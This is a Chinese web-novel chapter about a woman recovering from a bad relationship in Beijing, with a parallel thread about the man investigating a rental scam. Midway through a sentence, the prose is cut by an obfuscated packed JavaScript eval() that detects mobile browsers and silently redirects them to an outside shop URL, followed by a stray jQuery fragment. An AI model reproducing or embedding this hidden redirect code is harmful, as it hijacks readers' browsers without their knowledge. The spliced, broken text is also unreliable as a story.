裴砚拎着行李袋离开时，黄晶正坐在沙发上，双手交叠放在膝盖上，表情平静得像一潭死水。门在他身后轻轻合上的那一刻，她没有任何多余的情绪，只是起身去卫生间洗了把脸，对着镜子看了看自己。左脸颊那道疤已经淡得快看不出来了，膝盖上磕茶几留下的淤青还在。但一切都过去了。
上厕所时黄晶发现内裤上有血迹。愣了一秒，然后长长地舒了口气——她经期一向不调，来北京之前的几个月尤其乱，有时候推迟十几天，有时候来了也只有两三天的黑褐色分泌物，量少到不需要用卫生巾，一张护垫就能对付一整天。
她知道这是身体在替她报警——抑郁、焦虑、作息紊乱、营养跟不上，每一样都写在那几滴黑褐色的血里。但这次是鲜艳的、新鲜的红色，量也比上个月多。
黄晶盯着那抹红色看了好一会儿，嘴角不自觉地弯了一下。身体在慢慢好起来，用最原始的方式告诉她，她这段时间按时吃药、逼自己出门散步、每天给自己煮粥蒸馒头，不是没有用的。
黄晶本想外卖下单，打开软件翻了翻，配送费要五块，犹豫了一下，关了。去楼下买吧，顺便把晚饭解决了。用几张纸巾叠厚垫在内裤上，换了条深色裤子，穿上帆布鞋下楼。
小区门口那家小超市她每周都来，店员已经认识她了。黄晶拿了两包日用、一包夜用，又在货架前站了会儿，从泡面区拿了一桶泡面。结账时收银大姐一边扫码一边随口聊了两句，她应了几句，拎着塑料袋慢慢走回单元楼。傍晚的风吹在脸上很舒服，已经有了入夏的感觉。
回到家换上卫生巾，黄晶盘腿坐在沙发上，开始在淘宝上认真采购。先把一箱混合款卫生巾加入购物车，安睡裤这种东西她以前没用过，看评论说适合量多的时候，做活动便宜也加了一包。
接着买了酸角糕——上次在云贵菜馆喝了酸角汁之后就一直想再吃，口感像山楂糕，但没有山楂那么酸，酸甜黏牙，适合她发呆时嚼着消磨时间。又加了一盒云南鲜花月饼、一箱沃柑、两袋苹果干、一小箱面包当早餐。
原先那双洞洞鞋底纹早就磨平了，在洗手间湿滑的地面上差点摔过好几次，黄晶从收藏夹里翻出那双看了很久的新洞洞鞋，选了带趣味零食图案的鞋花。
纯牛奶是必须要有的，补充蛋白质！听说新疆牛奶好喝，她挑了二十盒混装版的不同品牌，这样每盒都不一样，可以慢慢尝。黄晶下单的时候眼睛很亮——她要对自己好一点！
快递还没到，二手的东西先到了。黄晶来北京之后加了好几个社区闲置群，跟大学二手群差不多，租客来来去去，东西带不走的就几块钱出掉。她收了一个考研小椅子五块，一个二手塑料盆两块，一个置物架三块，一个充电式台灯七块，电子秤八块，还花一块钱收了个不规则玻璃花瓶。
有人把东西放在单元楼一楼让她自取，有个人心善，看她说“膝盖不好不太方便下楼”，直接拎上来放在她房门口，还附了张便签纸：“花瓶洗干净了，能直接用。”
黄晶把东西一一归置好——小椅子放在书桌旁，塑料盆放洗手间，置物架架在厨房台面上，充电台灯放在床头。花瓶洗干净放着，暂时还没有花可插，原先的芍药蔫了，所以花瓶只好空着放在电视柜上。
收拾好后黄晶退后两步看了看这间朝南的小屋——和她刚搬进来时空空荡荡的样子已经完全不一样了，每一个角落都在不知不觉中填进了生活的痕迹。
弄完这些，黄晶把攒了两天的脏衣服塞进洗衣机，倒洗衣液，按快洗。等衣服洗好的间隙她开始拖地，拖到沙发旁边时看到地板上有一道很浅的划痕——是那晚台灯底座磕出来的。她盯着那道划痕看了几秒，继续拖。
晚上蒸了两个奶黄包，烧了一壶开水，泡了那桶泡面。奶黄包的甜和泡面的香辣混在一起，碳水加碳水的组合，配着《极限挑战》下饭。黄渤在屏幕里满街跑，黄晶跟着笑，笑完才发现自己已经吃完了一整桶面加两个奶黄包，胃很撑，但心情很好。
洗完澡已经十二点多了。黄晶靠在床头，打开手账本在“待购清单”那一页继续写，又翻开日记本，像往常一样流水账式地记录——“今天赶走了他。不知道做得对不对，但做了就做了。买了卫生巾，买了花没到，买了很多东西，感觉自己今天有点厉害！”
写完合上日记，看了会儿手机，一点多从药盒里倒出药片，就着温水咽下去，然后关上灯。黄晶睡得很沉，一夜无梦。
窗外，北京的初夏正在慢慢铺开，而她在关门之后，重新拥有了自己。
4月27日，经期第二天。黄晶早上六点多被小腹的坠胀感叫醒，迷迷糊糊摸到卫生间，换了片卫生巾又倒回床上。这次量很大，是身体终于恢复正常运转的信号。
十二点多又醒了一次，黄晶盯着天花板发了会儿呆，懒得动。肚子不饿，身体发沉，她翻了个身，把被子卷到肚子上压着，又睡过去了。
傍晚终于觉得饿，特别想吃饺子。打开外卖软件点了份韭菜鸡蛋的，等送来时还冒着热气。但吃到第三个就开始腻了，油味在舌尖上挥之不去，胃口忽然之间关上了门。
本着不浪费的原则，黄晶边刷手机边吃，吃一口歇一会儿，再吃一口再刷一会儿，一盒十五个饺子吃了整整一个小时才吃完。晚上按时吃药，关灯睡觉。
这一天什么都没做，但身体在用自己的方式恢复。
4月28日，经期第三天，量还是不少。黄晶早上七点多醒了，换卫生巾，继续睡。中午不怎么饿，坐在椅子上刷了很久手机，随便吃了些零食就当午饭。月经来的这几天她一向如此——不想动，不想出门，不想跟任何人说话，连煮粥都懒得起身。
到傍晚六点多，黄晶终于动了。在楼下晃悠着散步，步子很慢，沿着小区那条走了无数遍的路慢慢踱。也不知道想吃什么，最后在街角那家小馆子坐下，吃了一碗清汤面。面很素，汤很清，几根青菜漂在表面。她一口一口慢慢吃完，觉得身体暖了些。
快递到了但懒得拿，回家后往床上一躺，继续刷抖音看小红书逛微博。外面世界很大，她只需要巴掌大的屏幕就够了。
4月29日，经期第四天，量少了很多，身体轻快了些，心情也跟着好起来了。八点多自然醒，去厨房淘米煮粥，蒸了两个花卷。粥在锅里咕嘟咕嘟冒泡，黄晶站在厨房门口，闻着米香，觉得这个早晨终于像样了。吃完早饭吃了药，又睡了会儿回笼觉。
中午不太饿，但终于有劲儿去拿快递了——拎着那个蓝色宜家袋子下楼，快递柜前堆了好几天的包裹。黄晶一个个扫码取件，袋子装得鼓鼓囊囊，拖上楼时手臂的肌肉都在抗议，她咬着牙，一步一步往上拽，终于到家时靠在门上喘了好一会儿。坐在新买的小椅子上，一个个拆快递：卫生巾、酸角糕、鲜花月饼、沃柑、苹果干、面包、新洞洞鞋、纯牛奶混装……
满地狼藉，黄晶却拆得很开心——新洞洞鞋的鞋花是趣味零食图案，她穿上走了两步，鞋底防滑纹路还没磨平，踩在地上软软的，比以前那双舒服多了。一点多困了，睡了会儿，两点多醒了，有点饿又不太想吃东西。正犹豫要不要拆个沃柑时，手机消
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634933|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
息窗口弹开。
是方棠发来的消息。她大学室友，毕业后去了上海工作，两人偶尔聊天，但不算频繁。方棠说五一要来北京看音乐节，五月二号那场，本来想问她要不要趁假期也来北京逛逛，知道她没来过。
黄晶看到消息愣了会，然后打字：…其实我在北京租了个房。你酒店定了吗？没定到我这里住。
消息发出去，手机直接炸了。方棠连发好几条，从“你什么时候去的”到“你怎么不早说”到“你一个人吗”到“你还好吗”，字里行间全是震惊和担忧。
黄晶靠在床头，一条条回，简洁地交代了请假、租房、吃药的事。
方棠消化得很快，迅速接受了这个事实，然后立刻切换到兴奋模式——开始研究五一北京的旅游路线，一边计划一边不忘抱怨黄晶竟然瞒了她这么久。
黄晶对着手机笑了笑，回了个表情包。然后打开手账本，在“待购清单”下面新写了一行：方棠来，提前收拾屋子，买点零食。
方棠是从她过去生活里来的使者，是她那段黑暗日子里的见证者，也是她来北京之后第一个打破“闭关”状态的人。黄晶忽然有些期待，又有些紧张。但更多的，是放心——在这个陌生的城市里，终于要有一个认识她的人，知道她在哪了。
4月27日，裴砚早上六点半起床，跑步五公里，洗澡，喝黑咖啡，处理了几封邮件。中午一个人去了常去的咖啡馆，坐在角落里看完了半本之前翻了几页的哲学随笔。下午去望京的游戏工作室看了新项目的demo，提了几条意见。晚上一个人在公寓吃外卖，开着电视但没看，手机里那个聊天框静悄悄的，没有新消息。
4月28日，裴砚回了趟裴家。母亲在饭桌上提起林家女儿刚回国，他没接话。二哥带着女朋友回来吃饭，席间问他最近在忙什么，他说没什么特别的，母亲又说了一句“万柳那套房子你什么时候搬过去”，他说不急。
饭后陪父亲在书房坐了一会儿，聊了些不痛不痒的话题——公司、经济形势、大哥最近的项目。父亲没有问他感情状况，他也没有提。
离开时车停在院门口，裴砚回头看了一眼那栋从小长大的房子，忽然觉得它很大，也很空。
回自己公寓的路上，手机里那个聊天框依然没有新消息。他打开了那个微博小号，动态还是几天前那条“今天天气不错”，她没更新。
4月29日，裴砚开始行动了。黄晶当初给他的那张纸条上写过一个地址——那是那家骗她两千块的中介公司的注册地址。
裴砚循着地址找过去，发现那家公司已经换了门面，现在的招牌是一家房产中介，玻璃门上贴着“低价出租”的红字。他在门口站了一会儿，推门进去。
前台是个年轻女孩，热情的笑着：“先生，请问您有什么需要?”
“之前在这里办公的‘xx安居’的负责人呢？”
前台脸色微变，“我们是新租的，之前那家公司早就搬走了，不知道搬去了哪里。”
裴砚继续追问，从前台到店长，一层层往上推，这条路行不通就换一条——他让霍云峥帮忙调了工商注册信息，查到法人代表名下还有另一家公司在通州。他打算等五一之后，亲自去一趟。
这几天他瘦了一点，不明显，但霍云峥在电话里听出了异样，在挂断前说了句：“该吃饭吃饭。”裴砚应了，但挂断后还是忘了吃午饭。
生活回到原来的轨道，安静，有序，体面，只是忽然之间什么都变淡了，像一杯泡了太多次的茶，没有回甘，只剩若有若无的苦。